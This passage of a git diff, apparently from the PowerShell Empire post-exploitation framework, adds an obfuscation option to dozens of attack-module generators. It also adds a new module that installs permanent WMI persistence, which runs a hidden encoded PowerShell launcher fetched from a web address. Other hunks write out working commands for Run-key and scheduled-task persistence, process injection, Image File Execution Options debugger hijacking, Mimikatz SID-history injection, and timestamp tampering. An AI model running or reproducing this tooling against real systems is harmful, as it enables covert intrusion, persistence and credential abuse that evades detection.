self.mainMenu.installPath + "/data/module_source/management/MailRaider.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -92,17 +94,19 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + "\n" + moduleName + " " - + script = moduleCode + "\n" + scriptEnd = moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/mailraider/send_mail.py b/lib/modules/powershell/management/mailraider/send_mail.py index 89bb63f2c..d25094f1e 100644 --- a/lib/modules/powershell/management/mailraider/send_mail.py +++ b/lib/modules/powershell/management/mailraider/send_mail.py @@ -86,13 +86,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/MailRaider.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -102,17 +104,19 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + "\n" + moduleName + " " - + script = moduleCode + "\n" + scriptEnd = moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/mailraider/view_email.py b/lib/modules/powershell/management/mailraider/view_email.py index 40490ee9d..3495c5684 100644 --- a/lib/modules/powershell/management/mailraider/view_email.py +++ b/lib/modules/powershell/management/mailraider/view_email.py @@ -61,13 +61,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/MailRaider.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -77,17 +79,19 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + "\n" + moduleName + " " - + script = moduleCode + "\n" + scriptEnd = moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/psinject.py b/lib/modules/powershell/management/psinject.py index 865f2849d..1c8c9daeb 100644 --- a/lib/modules/powershell/management/psinject.py +++ b/lib/modules/powershell/management/psinject.py @@ -83,7 +83,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] procID = self.options['ProcId']['Value'].strip() @@ -100,7 +100,9 @@ def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-PSInject.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -111,7 +113,7 @@ def generate(self): f.close() script = moduleCode - + scriptEnd = "" if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: %s" %(listenerName)) @@ -127,8 +129,10 @@ def generate(self): launcherCode = launcher.split(' ')[-1] if procID != '': - script += "Invoke-PSInject -ProcID %s -PoshCode %s" % (procID, launcherCode) + scriptEnd += "Invoke-PSInject -ProcID %s -PoshCode %s" % (procID, launcherCode) else: - script += "Invoke-PSInject -ProcName %s -PoshCode %s" % (procName, launcherCode) - + scriptEnd += "Invoke-PSInject -ProcName %s -PoshCode %s" % (procName, launcherCode) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/restart.py b/lib/modules/powershell/management/restart.py index 84a3ea6bf..867a650e7 100644 --- a/lib/modules/powershell/management/restart.py +++ b/lib/modules/powershell/management/restart.py @@ -48,8 +48,9 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = "'Restarting computer';Restart-Computer -Force" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/management/runas.py b/lib/modules/powershell/management/runas.py index b0f2a2730..c61dfb16c 100644 --- a/lib/modules/powershell/management/runas.py +++ b/lib/modules/powershell/management/runas.py @@ -85,11 +85,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-RunAs.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -99,7 +101,7 @@ def generate(self): script = f.read() f.close() - script += "\nInvoke-RunAs " + scriptEnd = "\nInvoke-RunAs " # if a credential ID is specified, try to parse credID = self.options["CredID"]['Value'] @@ -132,8 +134,10 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/sid_to_user.py b/lib/modules/powershell/management/sid_to_user.py index 04585d4c5..20f81c380 100644 --- a/lib/modules/powershell/management/sid_to_user.py +++ b/lib/modules/powershell/management/sid_to_user.py @@ -53,8 +53,9 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = "(New-Object System.Security.Principal.SecurityIdentifier(\"%s\")).Translate( [System.Security.Principal.NTAccount]).Value" %(self.options['SID']['Value']) - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/management/spawn.py b/lib/modules/powershell/management/spawn.py index 7a90e4c61..80e29df0e 100644 --- a/lib/modules/powershell/management/spawn.py +++ b/lib/modules/powershell/management/spawn.py @@ -73,7 +73,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # extract all of our options listenerName = self.options['Listener']['Value'] @@ -99,5 +99,6 @@ def generate(self): parts = stagerCode.split(" ") code = "Start-Process -NoNewWindow -FilePath \"%s\" -ArgumentList '%s'; 'Agent spawned to %s'" % (parts[0], " ".join(parts[1:]), listenerName) - + if obfuscate: + code = helpers.obfuscate(psScript=code, obfuscationCommand=obfuscationCommand) return code diff --git a/lib/modules/powershell/management/spawnas.py b/lib/modules/powershell/management/spawnas.py index 9bfd0cc10..43151ebcc 100644 --- a/lib/modules/powershell/management/spawnas.py +++ b/lib/modules/powershell/management/spawnas.py @@ -90,11 +90,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-RunAs.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -140,19 +142,21 @@ def generate(self): launcherCode = l.generate() # PowerShell code to write the launcher.bat out - script += "$tempLoc = \"$env:public\debug.bat\"" - script += "\n$batCode = @\"\n" + launcherCode + "\"@\n" - script += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n" - script += "\"Launcher bat written to $tempLoc `n\";\n" + scriptEnd = "$tempLoc = \"$env:public\debug.bat\"" + scriptEnd += "\n$batCode = @\"\n" + launcherCode + "\"@\n" + scriptEnd += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n" + scriptEnd += "\"Launcher bat written to $tempLoc `n\";\n" - script += "\nInvoke-RunAs " - script += "-UserName %s " %(self.options["UserName"]['Value']) - script += "-Password %s " %(self.options["Password"]['Value']) + scriptEnd += "\nInvoke-RunAs " + scriptEnd += "-UserName %s " %(self.options["UserName"]['Value']) + scriptEnd += "-Password %s " %(self.options["Password"]['Value']) domain = self.options["Domain"]['Value'] if(domain and domain != ""): - script += "-Domain %s " %(domain) - - script += "-Cmd \"$env:public\debug.bat\"" + scriptEnd += "-Domain %s " %(domain) + scriptEnd += "-Cmd \"$env:public\debug.bat\"" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/switch_listener.py b/lib/modules/powershell/management/switch_listener.py index 4943b901d..8d5b3da35 100644 --- a/lib/modules/powershell/management/switch_listener.py +++ b/lib/modules/powershell/management/switch_listener.py @@ -54,7 +54,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # extract all of our options listenerName = self.options['Listener']['Value'] @@ -70,5 +70,6 @@ def generate(self): # signal the existing listener that we're switching listeners, and the new comms code commsCode = "Send-Message -Packets $(Encode-Packet -Type 130 -Data '%s');\n%s" % (listenerName, commsCode) - + if obfuscate: + commsCode = helpers.obfuscate(psScript=commsCode, obfuscationCommand=obfuscationCommand) return commsCode diff --git a/lib/modules/powershell/management/timestomp.py b/lib/modules/powershell/management/timestomp.py index f8580741b..bb20f4633 100644 --- a/lib/modules/powershell/management/timestomp.py +++ b/lib/modules/powershell/management/timestomp.py @@ -81,11 +81,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/Set-MacAttribute.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -97,13 +99,15 @@ def generate(self): script = moduleCode - script += "\nSet-MacAttribute" + scriptEnd = "\nSet-MacAttribute" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': - script += " -" + str(option) + " \"" + str(values['Value']) + "\"" - - script += "| Out-String" + scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\"" + scriptEnd += "| Out-String" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/user_to_sid.py b/lib/modules/powershell/management/user_to_sid.py index 27bcd63cd..861b7bd8b 100644 --- a/lib/modules/powershell/management/user_to_sid.py +++ b/lib/modules/powershell/management/user_to_sid.py @@ -58,9 +58,10 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = "(New-Object System.Security.Principal.NTAccount(\"%s\",\"%s\")).Translate([System.Security.Principal.SecurityIdentifier]).Value" %(self.options['Domain']['Value'], self.options['User']['Value']) - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/management/vnc.py b/lib/modules/powershell/management/vnc.py index dfd2863ae..e3ef8997e 100644 --- a/lib/modules/powershell/management/vnc.py +++ b/lib/modules/powershell/management/vnc.py @@ -71,13 +71,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in th Invoke-Vnc.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-Vnc.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -89,14 +91,17 @@ def generate(self): script = moduleCode - script += "\nInvoke-Vnc" + scriptEnd = "\nInvoke-Vnc" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/wdigest_downgrade.py b/lib/modules/powershell/management/wdigest_downgrade.py index fb95db896..c8edfdafe 100644 --- a/lib/modules/powershell/management/wdigest_downgrade.py +++ b/lib/modules/powershell/management/wdigest_downgrade.py @@ -61,7 +61,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-LockWorkStation { @@ -150,5 +150,6 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/management/zipfolder.py b/lib/modules/powershell/management/zipfolder.py index 5a216f7e7..87713652a 100644 --- a/lib/modules/powershell/management/zipfolder.py +++ b/lib/modules/powershell/management/zipfolder.py @@ -58,7 +58,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-ZipFolder @@ -92,5 +92,6 @@ def generate(self): if option.lower() != "agent": if values['Value'] and values['Value'] != '': script += " -" + str(option) + " " + str(values['Value']) - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/persistence/elevated/registry.py b/lib/modules/powershell/persistence/elevated/registry.py index 353588a03..8fd7f1d29 100644 --- a/lib/modules/powershell/persistence/elevated/registry.py +++ b/lib/modules/powershell/persistence/elevated/registry.py @@ -97,7 +97,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] @@ -204,5 +204,6 @@ def generate(self): script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";powershell -Win Hidden -enc $x\"';" script += "'Registry persistence established "+statusMsg+"'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/persistence/elevated/schtasks.py b/lib/modules/powershell/persistence/elevated/schtasks.py index 4555d678e..3f130c0e4 100644 --- a/lib/modules/powershell/persistence/elevated/schtasks.py +++ b/lib/modules/powershell/persistence/elevated/schtasks.py @@ -111,7 +111,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] @@ -160,7 +160,8 @@ def generate(self): script += "schtasks /Delete /F /TN "+taskName+";" script += "'Schtasks persistence removed.'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script if extFile != '': @@ -239,5 +240,6 @@ def generate(self): script += "schtasks /Create /F /RU system /SC DAILY /ST "+dailyTime+" /TN "+taskName+" /TR "+triggerCmd+";" statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "." script += "'Schtasks persistence established "+statusMsg+"'" - - return script \ No newline at end of file + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) + return script diff --git a/lib/modules/powershell/persistence/elevated/wmi.py b/lib/modules/powershell/persistence/elevated/wmi.py index 00e1d2dc7..50e82a97a 100644 --- a/lib/modules/powershell/persistence/elevated/wmi.py +++ b/lib/modules/powershell/persistence/elevated/wmi.py @@ -96,7 +96,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] @@ -123,7 +123,8 @@ def generate(self): script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;" script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;" script += "'WMI persistence removed.'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script if extFile != '': @@ -197,5 +198,6 @@ def generate(self): script += "'WMI persistence established "+statusMsg+"'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/persistence/elevated/wmi_updater.py b/lib/modules/powershell/persistence/elevated/wmi_updater.py new file mode 100644 index 000000000..5d38a3483 --- /dev/null +++ b/lib/modules/powershell/persistence/elevated/wmi_updater.py @@ -0,0 +1,201 @@ +import os +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-WMI', + + 'Author': ['@mattifestation', '@harmj0y', '@tristandostaler'], + + 'Description': ('Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'), + + 'Background' : False, + + 'OutputExtension' : None, + + 'NeedsAdmin' : True, + + 'OpsecSafe' : False, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Launcher' : { + 'Description' : 'Launcher string.', + 'Required' : True, + 'Value' : 'powershell -noP -sta -w 1 -enc ' + }, + #'Listener' : { + # 'Description' : 'Listener to use.', + # 'Required' : False, + # 'Value' : '' + #}, + 'DailyTime' : { + 'Description' : 'Daily time to trigger the script (HH:mm).', + 'Required' : False, + 'Value' : '' + }, + 'AtStartup' : { + 'Description' : 'Switch. Trigger script (within 5 minutes) of system startup.', + 'Required' : False, + 'Value' : 'True' + }, + 'SubName' : { + 'Description' : 'Name to use for the event subscription.', + 'Required' : True, + 'Value' : 'AutoUpdater' + }, + 'ExtFile' : { + 'Description' : 'Use an external file for the payload instead of a stager.', + 'Required' : False, + 'Value' : '' + }, + 'Cleanup' : { + 'Description' : 'Switch. Cleanup the trigger and any script from specified location.', + 'Required' : False, + 'Value' : '' + }, + 'WebFile' : { + 'Description' : 'The location of the launcher.bat file to fetch over the network/web', + 'Required' : True, + 'Value' : 'http://127.0.0.1/launcher.bat' + } + #'UserAgent' : { + # 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + # 'Required' : False, + # 'Value' : 'default' + #}, + #'Proxy' : { + # 'Description' : 'Proxy to use for request (default, none, or other).', + # 'Required' : False, + # 'Value' : 'default' + #}, + #'ProxyCreds' : { + # 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + # 'Required' : False, + # 'Value' : 'default' + #} + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + #listenerName = self.options['Listener']['Value'] + launcher_prefix = self.options['Launcher']['Value'] + + # trigger options + dailyTime = self.options['DailyTime']['Value'] + atStartup = self.options['AtStartup']['Value'] + subName = self.options['SubName']['Value'] + + # management options + extFile = self.options['ExtFile']['Value'] + cleanup = self.options['Cleanup']['Value'] + webFile = self.options['WebFile']['Value'] + # staging options + #userAgent = self.options['UserAgent']['Value'] + #proxy = self.options['Proxy']['Value'] + #proxyCreds = self.options['ProxyCreds']['Value'] + + statusMsg = "" + locationString = "" + + if cleanup.lower() == 'true': + # commands to remove the WMI filter and subscription + script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;" + script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;" + script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;" + script += "'WMI persistence removed.'" + + return script + + if extFile != '': + # read in an external file as the payload and build a + # base64 encoded version as encScript + if os.path.exists(extFile): + f = open(extFile, 'r') + fileData = f.read() + f.close() + + # unicode-base64 encode the script for -enc launching + encScript = helpers.enc_powershell(fileData) + statusMsg += "using external file " + extFile + + else: + print helpers.color("[!] File does not exist: " + extFile) + return "" + + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher_fetcher(language='powershell', encode=True, webFile=webFile, launcher=launcher_prefix) + + encScript = launcher.split(" ")[-1] + statusMsg += "using launcher_fetcher" + + # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max + if len(encScript) > 8190: + print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.") + return "" + + # built the command that will be triggered + triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript + + if dailyTime != '': + + parts = dailyTime.split(":") + + if len(parts) < 2: + print helpers.color("[!] Please use HH:mm format for DailyTime") + return "" + + hour = parts[0] + minutes = parts[1] + + # create the WMI event filter for a system time + script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};" + statusMsg += " WMI subscription daily trigger at " + dailyTime + "." + + else: + # create the WMI event filter for OnStartup + script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" + statusMsg += " with OnStartup WMI subsubscription trigger." + + + # add in the event consumer to launch the encrypted script contents + script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};" + + # bind the filter and event consumer together + script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" + + + script += "'WMI persistence established "+statusMsg+"'" + + return script diff --git a/lib/modules/powershell/persistence/misc/add_netuser.py b/lib/modules/powershell/persistence/misc/add_netuser.py index f24100a83..0d4167617 100644 --- a/lib/modules/powershell/persistence/misc/add_netuser.py +++ b/lib/modules/powershell/persistence/misc/add_netuser.py @@ -75,7 +75,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -106,5 +106,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/persistence/misc/add_sid_history.py b/lib/modules/powershell/persistence/misc/add_sid_history.py index 8f3c444a3..914b28138 100644 --- a/lib/modules/powershell/persistence/misc/add_sid_history.py +++ b/lib/modules/powershell/persistence/misc/add_sid_history.py @@ -63,11 +63,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -86,6 +88,8 @@ def generate(self): command = '""misc::addsid '+self.options["User"]['Value'] + ' ' + groups # base64 encode the command to pass to Invoke-Mimikatz - script += "Invoke-Mimikatz -Command '\"" + command + "\"';" - + scriptEnd = "Invoke-Mimikatz -Command '\"" + command + "\"';" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/persistence/misc/debugger.py b/lib/modules/powershell/persistence/misc/debugger.py index 8803b3ff0..19be5a71f 100644 --- a/lib/modules/powershell/persistence/misc/debugger.py +++ b/lib/modules/powershell/persistence/misc/debugger.py @@ -75,7 +75,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # management options cleanup = self.options['Cleanup']['Value'] @@ -93,6 +93,8 @@ def generate(self): if cleanup.lower() == 'true': # the registry command to disable the debugger for Utilman.exe script = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s';'%s debugger removed.'" %(targetBinary, targetBinary) + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script @@ -130,5 +132,6 @@ def generate(self): else: # the registry command to set the debugger for the specified binary to be the binary path specified script = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '"+triggerBinary+"';'"+targetBinary+" debugger set to "+triggerBinary+"'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/persistence/misc/disable_machine_acct_change.py b/lib/modules/powershell/persistence/misc/disable_machine_acct_change.py index 73030a42d..d06efe468 100644 --- a/lib/modules/powershell/persistence/misc/disable_machine_acct_change.py +++ b/lib/modules/powershell/persistence/misc/disable_machine_acct_change.py @@ -54,12 +54,17 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): cleanup = self.options['CleanUp']['Value'] if cleanup.lower() == 'true': - return "$null=Set-ItemProperty -Force -Path HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters -Name DisablePasswordChange -Value 0; 'Machine account password change re-enabled.'" - - return "$null=Set-ItemProperty -Force -Path HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters -Name DisablePasswordChange -Value 1; 'Machine account password change disabled.'" - + script = "$null=Set-ItemProperty -Force -Path HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters -Name DisablePasswordChange -Value 0; 'Machine account password change re-enabled.'" + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) + return script + + script = "$null=Set-ItemProperty -Force -Path HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters -Name DisablePasswordChange -Value 1; 'Machine 